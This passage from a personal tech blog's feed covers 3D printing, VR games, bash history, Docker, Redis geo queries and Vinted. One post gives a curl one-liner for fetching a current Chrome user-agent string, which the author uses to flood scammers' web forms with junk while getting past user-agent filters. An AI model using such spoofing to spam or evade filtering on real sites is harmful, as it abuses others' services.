   The designs had changed somewhat by now. The back plate had become considerably smaller and rounded. A new component is included that will stop the handle rotating too far. Also, the arrow symbol has been mirrored to point counter-clockwise.
  </p>
  <p>
   <img alt="3D printed components part 3" src="/home/rednuht/projects/flog/images/gas-meter-print-006_components_part3.jpg" title="3D printed components part 3"/>
  </p>
  <p>
   <em>
    Final iteration of components
   </em>
  </p>
  <p>
   It was just a matter of fitting it. I used a tiny bit of glue to bond the turning plate to the handle and the back plate to the handle.
  </p>
  <h2>
   The installation
  </h2>
  <p>
   <img alt="3D printed gas meter latch" src="/home/rednuht/projects/flog/images/gas-meter-print-009_latch_as_open.jpg" title="3D printed gas meter latch"/>
  </p>
  <p>
   Does it work? Oh yes. Took quite a bit longer than I intended, but that is another just job ticked off.
  </p>
  <p>
   <img alt="3D printed gas meter shut" src="/home/rednuht/projects/flog/images/gas-meter-print-008_handle_as_closed.jpg" title="3D printed gas meter shut"/>
  </p>
  <h2>
   Conclusion
  </h2>
  <p>
   Erm, so I
   <strong>
    really
   </strong>
   should have measured two or three times before starting. At least all those spiders are safe.
  </p>
  <p>
   I am not going to publish these designs. Firstly, they are not that great and secondly, I have just googled 3D printable parts and there are at least two different replacement latch models you can download. They require additional screws or a retaining ring.
  </p>
</description>
</item>
<item>
<title>moss book 2 finally defeated the scroll hole</title>
<pubDate>Mon, 01 Jul 2024 22:32:54 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2024.html#p010720242232</link>
<description>
  <p>
   I have completed Moss Book II thanks to my
   <a href="Jun2024.html#p020620242236">
    VR thumbstick cleaning efforts.
   </a>
  </p>
  <p>
   I found all the Energy pick ups and I found all the Scrolls. Though I needed help finding one elusive scroll that was down a hole that I didn't think was navigable.
  </p>
  <p>
   <img alt="Moss Book II quest 2 screenshot scroll hole" src="/home/rednuht/projects/flog/images/moss2-screenshot-004.jpg" title="Moss Book II quest 2 screenshot scroll hole"/>
  </p>
  <p>
   As well as scroll-holes Moss Book II has expansive environments e.g. a castle in the sky. Vertigo was an issue in places, but thankfully was limited.
  </p>
  <p>
   <img alt="Moss Book II quest 2 screenshot castle in the sky" src="/home/rednuht/projects/flog/images/moss2-screenshot-002.jpg" title="Moss Book II quest 2 screenshot castle in the sky"/>
  </p>
  <p>
   and this screenshot just sums up some of the interesting level design.
  </p>
  <p>
   <img alt="Moss Book II quest 2 screenshot level design" src="/home/rednuht/projects/flog/images/moss2-screenshot-001.jpg" title="Moss Book II quest 2 screenshot level design"/>
  </p>
  <p>
   As I am a pheasant peasant with a 64Gb Quest 2, I immediately had to delete Moss Book II on completion to make room for other experiences.
  </p>
</description>
</item>
<item>
<title>a simple bash script to rewrite history that fails</title>
<pubDate>Fri, 21 Jun 2024 22:11:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2024.html#p210620242211</link>
<description>
  <p>
   So many of these Flog posts start with something along the lines,
   <em>
    I tried to do something simple
   </em>
  </p>
  <p>
   Well, here we go again, this time trying to remove a pattern from bash history.
  </p>
  <p>
   The
   <strong>
    <em>
     history
    </em>
   </strong>
   command will display the current shell history of command strings that have been used.
  </p>
  <p>
   To delete a line in the
   <strong>
    <em>
     history
    </em>
   </strong>
   just run
  </p>
  <pre><code>history -d N
</code></pre>
  <p>
   Where
   <strong>
    <em>
     N
    </em>
   </strong>
   is the line number.
  </p>
  <p>
   and
  </p>
  <pre><code>for n in {1,3,6,9}; do echo $n; done
</code></pre>
  <p>
   will print the numbers
  </p>
  <pre><code>1
3
6
9
</code></pre>
  <p>
   so if I can get the line numbers from
   <strong>
    <em>
     history
    </em>
   </strong>
   I can run them by
  </p>
  <pre><code>history -d N
</code></pre>
  <p>
   easy?
  </p>
  <p>
   To get the
   <strong>
    <em>
     history
    </em>
   </strong>
   command output into variable
  </p>
  <pre><code>MYVAR=$(history | grep PATTERN)
</code></pre>
  <p>
   then I can access it thusly
  </p>
  <pre><code>echo $MYVAR
</code></pre>
  <p>
   and indeed
  </p>
  <pre><code>MYVAR=$(ls | grep PATTERN)
echo $MYVAR
</code></pre>
  <p>
   works nicely, but
   <strong>
    <em>
     history
    </em>
   </strong>
   always returns blank, no errors.
  </p>
  <p>
   Bit of research shows that the
   <strong>
    <em>
     history
    </em>
   </strong>
   command intentionally doesn't work in bash scripts, to stop the commands in the script getting added into the history.
  </p>
  <p>
   Annoying, but fine.
  </p>
  <p>
   <strong>
    <em>
     history
    </em>
   </strong>
   uses the environment variable
   <strong>
    HISTFILE
   </strong>
   to denote where the history data is stored.
  </p>
  <p>
   Get the
   <strong>
    HISTFILE
   </strong>
   variable and work on the file referenced directly
  </p>
  <pre><code>cat "$HISTFILE" | grep PATTERN
</code></pre>
  <p>
   but ... nada. Again no errors, just blank result.
  </p>
  <p>
   A much more deep investigation led to the
   <strong>
    HISTFILE
   </strong>
   variable being blanked in non-interactive bash shells i.e. scripts AGHHHhhh....!!
  </p>
  <p>
   So I am left with setting the path to my .bash_history file like a caveman :(
  </p>
  <p>
   ...then using sed to remove the lines one by one. Note that each time a line is removed the following lines are moved so the search has to begin again. Or use Maths and I am too lazy for that)
  </p>
  <p>
   ANNNNDDDD
  </p>
  <pre><code>bash -c "history"
</code></pre>
  <p>
   does what you expect, it runs a non-interactive bash shell, runs
   <strong>
    <em>
     history
    </em>
   </strong>
   which returns nothing
  </p>
  <p>
   so why does
  </p>
  <pre><code>bash -c "echo $HISTFILE"
</code></pre>
  <p>
   correctly return my history file location :(
  </p>
  <p>
   Changing the shebang in the script is not an option
  </p>
  <pre><code>#!/bin/bash -i
</code></pre>
  <p>
   but does make the
   <strong>
    <em>
     history
    </em>
   </strong>
   command and
   <strong>
    $HISTFILE
   </strong>
   variables work in the script, but then records the script commands into history.
  </p>
  <p>
   I might ask stackoverflow to explain
  </p>
  <p>
   (*)FYI, you might need to force changes in the shell history to be written to disk.
  </p>
  <pre><code>history -w
</code></pre>
</description>
</item>
<item>
<title>octoprint fails to see the folly of updating itself in a container</title>
<pubDate>Fri, 21 Jun 2024 13:57:36 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2024.html#p210620241357</link>
<description>
  <p>
   For my 3D printing needs I use OctoPrint not OctoPi. The difference is that the OctoPrint runs on a Pi Zero using Docker.
  </p>
  <p>
   Docker is an isolation method similar to how Gentoo use chroot. The programs inside are unaware they are in a container and changes are lost when you stop the container.
  </p>
  <p>
   So when my OctoPrint informs me of an upgrade and tries to download and install it. The installer believes that it is working with a normal writable OS, but what happens is that files are updated in the container and then lost once it is stopped (system rebooted).
  </p>
  <p>
   SO ...
  </p>
  <pre><code>docker ps
docker stop octoprint_octoprint_1
docker rm octoprint_octoprint_1
docker pull octoprint/octoprint
docker-compose up
</code></pre>
  <p>
   PRINT!
  </p>
  <p>
   It did print but maybe I should have...
  </p>
  <p>
   Then installed the plugin
  </p>
  <p>
   <a href="https://github.com/SimplyPrint/OctoPrint-Creality2xTemperatureReportingFix">
    Creality 2x temperature reporting fix
   </a>
  </p>
  <p>
   <img alt="OctoPrint screenshot showing Firmware error" src="/home/rednuht/projects/flog/images/Octo_print_Screenshot_2024-06-21_12-06-27.png" title="OctoPrint screenshot showing Firmware error"/>
  </p>
</description>
</item>
<item>
<title>moar flogging of troy hunts blog of doxed details</title>
<pubDate>Thu, 20 Jun 2024 23:00:43 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2024.html#p200620242300</link>
<description>
  <p>
   There are some other sources of data on Troy Hunt (of "Have I Been Pwned" fame)
   <a href="https://www.troyhunt.com/telegram-combolists-and-361m-email-addresses/">
    blog article about a new data breach
   </a>
   .
  </p>
  <p>
   Just Googling the unique values resolves to numerous password lists. Strangely enough most were hosted on Scribd.com as "shared" text for learning and education...
  </p>
  <p>
   Perhaps unsurprisingly there is no way to report password lists to Scribd as
  </p>
  <blockquote>
   <p>
    Content on Scribd.com and SlideShare.net (collectively, "Scribd") is provided by our members without pre-approval by Scribd.
   </p>
  </blockquote>
  <p>
   but they will deal with
  </p>
  <ul>
   <li>
    has posted my copyrighted work without my permission.
   </li>
   <li>
    has posted my personal information to Scribd or SlideShare.
   </li>
   <li>
    has posted prohibited content including (but not limited to) spam, defamation, pornography, plagiarism, exam answers, and deceptive content.
   </li>
   <li>
    has made a false claim resulting in removal of my content.
   </li>
  </ul>
  <p>
   And remember,
   <em>
    the Internet never forgets
   </em>
   (except due to link rot)
  </p>
</description>
</item>
<item>
<title>flogging troy hunt over his blantent aol dox blog</title>
<pubDate>Thu, 20 Jun 2024 22:49:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2024.html#p200620242249</link>
<description>
  <p>
   On the 4th of June 2024 Troy Hunt (of "Have I Been Pwned" fame) posted a
   <a href="https://www.troyhunt.com/telegram-combolists-and-361m-email-addresses/">
    blog article about a new data breach
   </a>
   .
  </p>
  <p>
   In that article he posted a set of 200 records, showing the nature and diversity of the data.
  </p>
  <p>
   I found that that data had a hidden DOX bomb for one/two individuals and on the 7th of June 2024 I emailed Troy, hoping to get him to remove or redact that information. Currently it is the 20th of June 2024 and there is no change to the article or any email response.(*)
  </p>
  <p>
   In the distant past a certain
   <em>
    tiny
   </em>
   company called AOL tried to release
   <a href="https://en.wikipedia.org/wiki/AOL_search_log_release">
    anonymous data and the the same thing happened
   </a>
   . There was just enough that if someone was digging they could trace it back to individuals. Though in that case it was famously due to being able to link multiple puzzle pieces together.
  </p>
  <p>
   From the list of two hundred rows of
   <em>
    Stealer logs
   </em>
   there are two unique URIs that are linked to users.
  </p>
  <p>
   1: https://
   <strong>
    REDACTED
   </strong>
  </p>
  <p>
   Seems to be associated with a user but with no obvious PII or other user
centric data on first glance. I do not speak German, but I suspect that
if someone did spend some time navigating the site from the URI some
user data may become visible.
  </p>
  <p>
   2: https://
   <strong>
    REDACTED
   </strong>
  </p>
  <p>
   Shows on the page
   <strong>
    Ticket details, date, locations, duration
   </strong>
   and
   <strong>
    cost
   </strong>
   .
The Customer's
   <strong>
    full name
   </strong>
   and
   <strong>
    email address
   </strong>
   are visible in the additional API calls. There is also other data, such as the search parameters that were used.
  </p>
  <p>
   Another API call also had a URI to download a ticket, but I didn't try
following that.
  </p>
  <p>
   (
   <em>
    ) Ironically, Troy has repeatedly stated his frustration at trying to do the
   </em>
   right thing*, like contacting the correct people ,but then getting no response...
  </p>
  <p>
   So either it went to spam or he just missed it...
  </p>
</description>
</item>
<item>
<title>curling the latest chromed user agent</title>
<pubDate>Wed, 19 Jun 2024 23:02:14 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2024.html#p190620242302</link>
<description>
  <p>
   Sometimes I want to mess with scammers. I usually do that by taking what a sample of their web-form and then spamming them with crap.
  </p>
  <p>
   Smart scammers will filter this by User Agent. This is the string that get sent with each request. When I am using the
   <strong>
    cUrl
   </strong>
   tool it defaults to one that is obviously
   <strong>
    cUrl
   </strong>
   .
  </p>
  <p>
   What I wanted was the latest Chrome User Agent. I had obtained it it various ways in the past, set it as a shell variable and then set it when using
   <strong>
    cUrl
   </strong>
   .
  </p>
  <p>
   As a programmer, I am lazy, very very lazy. I.e. I want to automate this so I never have to deal with it again.
  </p>
  <pre><code>UA=$(curl -s "https://useragentstring.com/pages/Chrome/" | grep -Eo "\.php'&gt;Moz[^&lt;]+" /tmp/ua-chrome | grep NT | head -n 1 | sed -re "s/^[^M]+//")
</code></pre>
  <p>
   Will create a shell variable
   <em>
    UA
   </em>
   containing the latest Chrome User Agent string !
  </p>
  <p>
   It downloads the list from useragentstring.com parses out the strings, limits the results to the first one and then removes the capture criteria leaving the one new string.
  </p>
  <p>
   Fun fact
   <strong>
    x64
   </strong>
   that used to be in User Agent strings is no longer relevant. I guess everything was showing up as
   <strong>
    x64
   </strong>
   and so was superfluous.
  </p>
  <p>
   Fun fact number two, Windows 11 announces its self as Windows 10 in the User Agent string. Maybe, nobody cares??
  </p>
</description>
</item>
<item>
<title>gentoo and the 10 hour slog</title>
<pubDate>Wed, 19 Jun 2024 22:50:07 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2024.html#p190620242250</link>
<description>
  <p>
   Yesterday I updated Gentoo. This involved reinstalling 1078 packages. This took approximately 10 hours.
  </p>
  <p>
   So why did I do it? Gentoo has the trade off of time to install packages verses lean, specific speed. Each package is downloaded as source code and complied locally. This has the advantage that just about any customisation offered by a program or library can be set specific to my hardware and personal wishes. This saves a lot a disk space and wasted CPU cycles, not to mention a smaller attack surface. The downside is that it can take a while to updates.
  </p>
  <p>
   Normally this is only noticeable when Firefox needs to be updated. That takes around 40 minutes, most other packages take seconds. Kernel upgrades can take a while.
  </p>
  <p>
   Overall, for me at least, it is totally worth it.
  </p>
</description>
</item>
<item>
<title>removing the moss from my quest 2 thumbstick</title>
<pubDate>Sun, 02 Jun 2024 22:36:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2024.html#p020620242236</link>
<description>
  <p>
   I hadn't been using my Quest 2 VR setup for a while, when I remembered I had bought a game(*) ages ago.
  </p>
  <p>
   Of course all I could do when booting the device up after so long was run multiple updates. All my operations were by hand tracking.
  </p>
  <p>
   The next day when everything was updated, I tried loading the game ... and remembered why I had stopped playing :(
  </p>
  <p>
   The Left control stick was jumping all over the place and favouring the down direction. This made the game unplayable, as I desperately tried to stop my character jumping off the bottom of the screen.
  </p>
  <p>
   Disassembling the Thumb-stick was surprisingly easy and didn't even need a screwdriver. Though a number of Spludgers were employed. A blast of compressed air and quick prayer was all I could do before reassembling. There didn't seem to be anything removed or changed so I was pleasantly surprised when the game worked flawlessly!!
  </p>
  <p>
   That game being Moss 2, a 3D platformer where you are partnered with a mouse. You can not only control the character, but also interact with the environment.
  </p>
  <p>
   Moss 2 is bigger, better and more immersive. In the original Moss you felt like the VR left you as an outsider looking into an aquarium. Moss 2 seats you squarely inside each environment and you can physically look in any direction and find more.
  </p>
  <p>
   <img alt="Moss 2 screenshot from Quest 2" src="/home/rednuht/projects/flog/images/moss2-screenshot.jpg" title="Moss 2 screenshot"/>
  </p>
  <p>
   I like Moss 2 and will be continuing to play it until I have 100% completion on the story and collectables.
  </p>
  <p>
   (*) Slightly concerning, I found another game in my library that I have bought and never installed...
  </p>
</description>
</item>
<item>
<title>trial and error d20 printing</title>
<pubDate>Sun, 02 Jun 2024 22:20:55 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2024.html#p020620242220</link>
<description>
  <h1>
   3D printing my own D20
  </h1>
  <h2>
   3D printing for D&amp;D
  </h2>
  <p>
   What could be simpler? I had already printed custom characters, a dice tower, a few tentacles, dragon heads and brains.
  </p>
  <p>
   <img alt="3D printed monk photo" src="/home/rednuht/projects/flog/images/3d-print-monk-printed-x1-large.jpg" title="3D printed monk"/>
  </p>
  <p>
   <img alt="3D printed dragon head photo" src="/home/rednuht/projects/flog/images/3d-dragonhead-group-photo.jpg" title="3D printed dragon head"/>
  </p>
  <p>
   <img alt="3D printed dice tower photo" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_photo_dice_plus_mini_tower.jpg" title="3D printed dice tower"/>
  </p>
  <h2>
   Early attempts
  </h2>
  <p>
   D20s are in fact
   <strong>
    icosagons
   </strong>
   and in Blender you can add one by selecting an
   <strong>
    Ico Sphere
   </strong>
   and setting the subdivisions to 1. Now all that is left is to add the numbers to the faces...
  </p>
  <p>
   I ended up creating a whole video (unreleased) on how to align and then cut out numbers. To make life easy these were all "20" :D
  </p>
  <p>
   <img alt="D20 print failures photo collection" src="/home/rednuht/projects/flog/images/d_and_d_d20_print_failures.jpg" title="D20 print failures"/>
  </p>
  <p>
   Printing mostly worked, but the bottom most face would always come out squished.
  </p>
  <p>
   <img alt="D20 face print failure photo" src="/home/rednuht/projects/flog/images/d_and_d_d20_face_print_failure.jpg" title="D20 face print failure"/>
  </p>
  <p>
   But if D20s are just icosagons then they must be a simple symmetrical shape built from triangles. I can print each face separately, ensuring there is no "squished" areas. Easy!
  </p>
  <p>
   Something is wrong. I tried various routes to create 20 sided shapes from basic triangles and 3 sided pyramids, but they never quite fit once printed.
  </p>
  <p>
   A three-sided pyramid is called a tetrahedron or a triangular pyramid. 
I printed a lot of tetrahedrons, small, big, long, short. They almost fit together, but there was always a noticeable gap. Printing errors could not account for the consistency of this gap.
  </p>
  <p>
   By now now I was very frustrated. Every step of this process should have been simple! I could see the icosagon in Blender, what if I cut it up rather than build it up? I sliced away all the faces until a single tetrahedron was left, easy...?
  </p>
  <p>
   Printed five out and ... the print was bit messy, it didn't fit!! Back in Blender I used the
   <em>
    measure-it
   </em>
   plugin and there was a slight difference in two of the segments.
  </p>
  <p>
   <img alt="D20 tetra edge measurement screenshot" src="/home/rednuht/projects/flog/images/d20-tetra-edge-sizes-x3.png" title="D20 tetra edge measurement"/>
  </p>
  <p>
   Printed again, but this time larger and with T, B, L, R engraved on the four faces. The larger print helped hide any imperfections and they fit together !!
  </p>
  <p>
   <img alt="D20 orange tetras photo" src="/home/rednuht/projects/flog/images/d_and_d_d20_orange_tetras.jpg" title="D20 orange tetras"/>
  </p>
  <p>
   This story is not yet finished and strangely the "B" faces all appear fine, no squishing.
  </p>
</description>
</item>
<item>
<title>know your buckets</title>
<pubDate>Sat, 01 Jun 2024 21:11:54 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2024.html#p010620242111</link>
<description>
  <p>
   Know your Buckets!
  </p>
  <p>
   Many Devs use Locastack to emulate an AWS S3 instance when developing locally, but rarely need to interact with it outside of 
code. Today I needed to see all the files in all the Buckets in my local 
dev.
  </p>
  <pre><code>awslocal s3api list-buckets
</code></pre>
  <p>
   Shows me all the buckets and
  </p>
  <pre><code>awslocal s3 ls s3://EXAMPLE-BUCKET-NAME
</code></pre>
  <p>
   Shows me all the files in a single bucket called
   <strong>
    EXAMPLE-BUCKET-NAME
   </strong>
   .
  </p>
  <p>
   But what if I want
   <strong>
    ALL
   </strong>
   the files in
   <strong>
    ALL
   </strong>
   the buckets and sub folders?
  </p>
  <pre><code>awslocal s3api list-buckets | jq '.Buckets[].Name' | sed -re 's/"(.+)"/s3 ls "s3:\/\/\1" --recursive --human-readable/' | xargs awslocal
</code></pre>
  <p>
   Which basically, gets all the buckets, parses out the names, builds a parameter string for each bucket name asking of the recursive list of files and sends that to the Locastack command
   <strong>
    awslocal
   </strong>
   .
   <strong>
    awslocal
   </strong>
   is an alias for the standard aws command but prefixed with the Locastack address, to avoid you having to add it to every command.
  </p>
  <p>
   Once again
   <strong>
    jq
   </strong>
   is my weapon of choice to parse JSON data.
  </p>
</description>
</item>
<item>
<title>flog</title>
<pubDate>Mon, 27 May 2024 21:10:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2024.html#p270520242110</link>
<description>
  <p>
   My 20+ year old ~~blogging~~ flogging system has a few quirks, such as not being able to fix bad posts after the fact...
  </p>
  <p>
   I have a method of plastering over bad posts and this happened earlier this month when I posted a lovely block of unformatted text entitled
   <strong>
    geolocation with just docker redis and a json file
   </strong>
  </p>
  <p>
   The main reason was due to saving the post in the wrong format instead of exposing it as HTML. My bad.
  </p>
  <p>
   Luckily I had backed up the raw file and was able to just re-export it as a new post and manually edit the HTML on the original post.
  </p>
  <p>
   The finally step is then to craft a new blog post (you're reading it) that forces the page to rebuild from the updated database.
  </p>
  <p>
   Where
   <strong>
    database
   </strong>
   is a plain text file :D
  </p>
</description>
</item>
<item>
<title>redis</title>
<pubDate>Mon, 27 May 2024 21:01:32 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2024.html#p270520242101</link>
<description>
  <p>
   Some quick Docker related fun using Redis and Geo functions.
  </p>
  <p>
   There was a sponsored charity ride and as the participants had an API I took a quick stab at measuring the distance from various landmarks.
  </p>
  <p>
   Prerequisites are only
   <strong>
    curl
   </strong>
   and
   <strong>
    jq
   </strong>
   .
   <strong>
    curl
   </strong>
   to download data from the API and
   <strong>
    jq
   </strong>
   to process the resulting JSON.
  </p>
  <p>
   First we will pull down the latest
   <em>
    redis
   </em>
   docker image and then run it in a container with a custom name.
  </p>
  <pre><code>docker pull redis
docker run --name my-redis -d redis
</code></pre>
  <p>
   Now we can add our landmarks. Lat, Longs were obtained by right clicking in Google maps.
  </p>
  <pre><code>docker exec my-redis 'redis-cli' 'GEOADD' 'location' '51.51452633138356' '-0.09850080369320617' 'st-pauls'
docker exec my-redis 'redis-cli' 'GEOADD' 'location' '53.3869683450906' '-1.4896723908551361' 'oxford-house'
docker exec my-redis 'redis-cli' 'GEOADD' 'location' '56.34028949355843' '-2.7883787054016342' 'st-andrews'
</code></pre>
  <p>
   Not we have three, slightly random locations loaded into
   <em>
    redis
   </em>
   , let's get the rider's positions.
  </p>
  <pre><code>curl -s "https://example.com/latest.json?i=$(date +%N)" -o /tmp/rider.json
</code></pre>
  <p>
   Note: I have removed the actual domain name.
  </p>
  <p>
   Now we can extract the juicy location data and store it in
   <em>
    redis
   </em>
  </p>
  <pre><code>docker exec my-redis 'redis-cli' 'GEOADD' 'location' $(jq '.latitude' /tmp/rider.json) $(jq '.longitude' /tmp/rider.json) 'riders'
</code></pre>
  <p>
   I will go into a bit more detail about how this works at the end.
  </p>
  <p>
   But in the meantime we want those measurements...
  </p>
  <pre><code>docker exec my-redis 'redis-cli' 'GEODIST' 'location' 'riders' 'st-pauls' 'mi'
docker exec my-redis 'redis-cli' 'GEODIST' 'location' 'riders' 'oxford-house' 'mi'
docker exec my-redis 'redis-cli' 'GEODIST' 'location' 'riders' 'st-andrews' 'mi'
</code></pre>
  <p>
   The results are printed in Miles due to the specifier
   <strong>
    'mi'
   </strong>
  </p>
  <p>
   Time to stop the docker container and delete it.
  </p>
  <pre><code>docker stop my-redis
docker rm my-redis
</code></pre>
  <p>
   If you made it this far you may want a little more detail.
  </p>
  <p>
   <em>
    redis
   </em>
   has a command line interface that can be accessed by running
  </p>
  <pre><code>redis-cli
</code></pre>
  <p>
   Running this normally drops you into an interactive shell where only
   <em>
    redis
   </em>
   commands work, but what we want is to execute specific commands from outside the container.
  </p>
  <pre><code>docker exec CONTAINER
</code></pre>
  <p>
   Runs a command within the selected container and to accept parameters to be used by the command we simply provide a space separated list.
  </p>
  <pre><code>docker exec my-redis 'redis-cli' 'GEOADD' 'location' $(jq '.latitude' /tmp/rider.json) $(jq '.longitude' /tmp/rider.json) 'riders'
</code></pre>
  <p>
   runs the
   <strong>
    redis-cli
   </strong>
   command in the
   <strong>
    my-redis
   </strong>
   container and passes the
   <strong>
    GEOADD
   </strong>
   redis action, setting a
   <strong>
    location
   </strong>
   to have the space separated
   <em>
    lat
   </em>
   /
   <em>
    long
   </em>
   that was pulled from the file we downloaded and sets it all to the key
   <strong>
    riders
   </strong>
  </p>
  <pre><code> jq
</code></pre>
  <p>
   accepts a query path and in our example that is simply
   <strong>
    latitude
   </strong>
   for the first value and
   <strong>
    longitude
   </strong>
   for the second.
  </p>
  <p>
   Where the data is structured in the json file as
  </p>
  <pre><code>{
    "datetime":"2024-05-07T17:41:39.000Z",
    "latitude":56.399800,
    "longitude":-2.905800,
    "altitude":"19.299900 m",
    "speed":"18.111100 km/h",
}
</code></pre>
</description>
</item>
<item>
<title>pooping through the phone to spammers</title>
<pubDate>Mon, 27 May 2024 11:26:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2024.html#p270520241126</link>
<description>
  <p>
   Spammers rang me claiming that I needed support regarding a automobile from the last 2-3 months.
  </p>
  <p>
   After convincing the initial lackey that I was a hot prospect who had not involved a solicitor I got a talk to a "supervisor". I got to use one of the Android new features, Audio Emojis and they work great.
  </p>
  <p>
   I wish I had recorded it for prosperity because the reaction of their representative was perfect. First when asked to provide additional details I pressed the Poop audio emoji and we (the call was on speaker), which resulted in a prolonged fart noise, a gap and then a short one. The person on the other end of the line was briefly stunned, and as they recovered and started talking again, I launched the Applause emoji.
  </p>
  <p>
   What that spammer missed out on was the animations that appeared while the audio emojis played.
  </p>
  <p>
   My audience unanimously commented that this was a clear reason to have an Android phone.
  </p>
  <p>
   Small win, but worth it :D
  </p>
</description>
</item>
<item>
<title>geolocation with just docker redis and a json file</title>
<pubDate>Wed, 15 May 2024 20:19:08 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2024.html#p150520242019</link>
<description>
    docker exec my-redis 'redis-cli' 'GEOADD' 'location' '51.51452633138356' '-0.09850080369320617' 'st-pauls'
    docker exec my-redis 'redis-cli' 'GEOADD' 'location' '53.3869683450906' '-1.4896723908551361' 'oxford-house'
    docker exec my-redis 'redis-cli' 'GEOADD' 'location' '56.34028949355843' '-2.7883787054016342' 'st-andrews'

Not we have three, slightly random locations loaded into *redis*, let's get the rider's positions.

    curl -s "https://example.com/latest.json?i=$(date +%N)" -o /tmp/rider.json

Note: I have removed the actual domain name.

Now we can extract the juicy location data and store it in *redis*

    docker exec my-redis 'redis-cli' 'GEOADD' 'location' $(jq '.latitude' /tmp/rider.json) $(jq '.longitude' /tmp/rider.json) 'riders'

I will go into a bit more detail about how this works at the end.

But in the meantime we want those measurements...

    docker exec my-redis 'redis-cli' 'GEODIST' 'location' 'riders' 'st-pauls' 'mi'
    docker exec my-redis 'redis-cli' 'GEODIST' 'location' 'riders' 'oxford-house' 'mi'
    docker exec my-redis 'redis-cli' 'GEODIST' 'location' 'riders' 'st-andrews' 'mi'
    
The results are printed in Miles due to the specifier **'mi'**

Time to stop the docker container and delete it.

    docker stop my-redis
    docker rm my-redis

If you made it this far you may want a little more detail.

*redis* has a command line interface that can be accessed by running 

    redis-cli
    
Running this normally drops you into an interactive shell where only *redis* commands work, but what we want is to execute specific commands from outside the container.

    docker exec CONTAINER
    
Runs a command within the selected container and to accept parameters to be used by the command we simply provide a space separated list.

    docker exec my-redis 'redis-cli' 'GEOADD' 'location' $(jq '.latitude' /tmp/rider.json) $(jq '.longitude' /tmp/rider.json) 'riders'
    
 runs the **redis-cli** command in the **my-redis** container and passes the **GEOADD** redis action, setting a **location** to have the space separated *lat*/*long* that was pulled from the file we downloaded and sets it all to the key **riders**
 
     jq
     
accepts a query path and in our example that is simply **latitude** for the first value and **longitude** for the second.
</description>
</item>
<item>
<title>Vinted addiction affects my life</title>
<pubDate>Sun, 12 May 2024 22:02:23 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2024.html#p120520242202</link>
<description>
  <h1>
   Vinted
  </h1>
  <p>
   I have been cursed with knowledge. The mobile app known as Vinted now resides on my phone. It sits there innocently, teasing my eyeballs for a small dopamine hit...
  </p>
  <p>
   But what is Vinted or more to point, where did it come from?
  </p>
  <blockquote>
   <p>
    In 2008, Milda was moving house, but had too many clothes to take with her. Justas offered help and built a website to give away her clothes to friends. Soon enough, the media wanted in, too. The duo knew they were on to something – Vinted was born.
   </p>
  </blockquote>
  <p>
   (quote from the company website)
  </p>
  <p>
   From Lithuania to other Nordic countries and from there to the whole of Europe, the UK and USA.
  </p>
  <p>
   I saw small amounts of advertising where it was always on the subject of second hand clothes. Not really my thing, due to size constraints and a lack of interest in fashion brands. But a certain someone suggested it for cheap t-shirts after they had had good success with purchasing jeans and other items from Vinted.
  </p>
  <p>
   OK, time for a quick look... Ooo, they do have a lot of choice and in my size and many styles I would wear. From Marvel/DC/Starwars to Aliens/Back to the Future/2000AD and much much more.
  </p>
  <p>
   And the amount of new items being uploaded is huge. You can spend 5 minutes scrolling through the latest items and then refresh and see 10s if not hundreds more. But not necessarily clothes ...
  </p>
  <p>
   After watching the Live-Action and then the complete series of
   <strong>
    Avatar  the Last Airbender
   </strong>
   recently, I was interested in what Avatar items Vinted had. Perhaps unsurprisingly it was mostly items from a James Cameron's
   <strong>
    Avatar
   </strong>
   universe, but there were Aang related items... So I sorted by
   <em>
    latest
   </em>
   and then
   <em>
    Price High to Low
   </em>
   .
  </p>
  <p>
   <img alt="Vinted Avatar baby with dress" src="/home/rednuht/projects/flog/images/vinted_avatar_dress.jpg" title="Vinted Avatar baby with dress"/>
  </p>
  <p>
   <img alt="Vinted Avatar baby with loin cloth" src="/home/rednuht/projects/flog/images/vinted_avatar_loincloth.jpg" title="Vinted Avatar baby with loin cloth"/>
  </p>
  <p>
   <img alt="Vinted Avatar baby nude - censored" src="/home/rednuht/projects/flog/images/vinted_avatar_nude.jpg" title="Vinted Avatar baby nude"/>
  </p>
  <p>
   <img alt="Vinted Avatar baby twins" src="/home/rednuht/projects/flog/images/vinted_avatar_twins.jpg" title="Vinted Avatar baby twins"/>
  </p>
  <p>
   Who is the market for those? I am not sure I want to know. These were all from different sellers and marked as
   <em>
    hand-made
   </em>
   .
  </p>
  <p>
   There is other weird stuff, but I could start a YouTube channel and never run out of items to cover. And, this is just Vinted in the UK!
  </p>
  <p>
   <img alt="Vinted pig clock" src="/home/rednuht/projects/flog/images/vinted_pig_clock.jpg" title="Vinted pig clock"/>
  </p>
  <p>
   <img alt="Vinted shoes with eyes" src="/home/rednuht/projects/flog/images/vinted_shoe_black_eyes.jpg" title="Vinted shoes with eyes"/>
  </p>
  <p>
   <img alt="Vinted burger shoes with eyes" src="/home/rednuht/projects/flog/images/vinted_burger_shoes_with_eyes.jpg" title="Vinted burger shoes with eyes"/>
  </p>
  <p>
   <img alt="Vinted tiny newborn" src="/home/rednuht/projects/flog/images/vinted_tiny_newborn.jpg" title="Vinted tiny newborn"/>
  </p>
  <p>
   <img alt="Vinted coca cola phone" src="/home/rednuht/projects/flog/images/vinted_cocacola_phone.jpg" title="Vinted coca cola phone"/>
  </p>
  <p>
   Some sellers go to great lengths to take clear and useful photos, others ... I am not sure they understand what is going on.
  </p>
  <p>
   <img alt="Vinted bad contrast" src="/home/rednuht/projects/flog/images/vinted_bad_contrast.jpg" title="Vinted bad contrast"/>
  </p>
  <p>
   It's like a car-boot sale, only there is much
   <em>
    much
   </em>
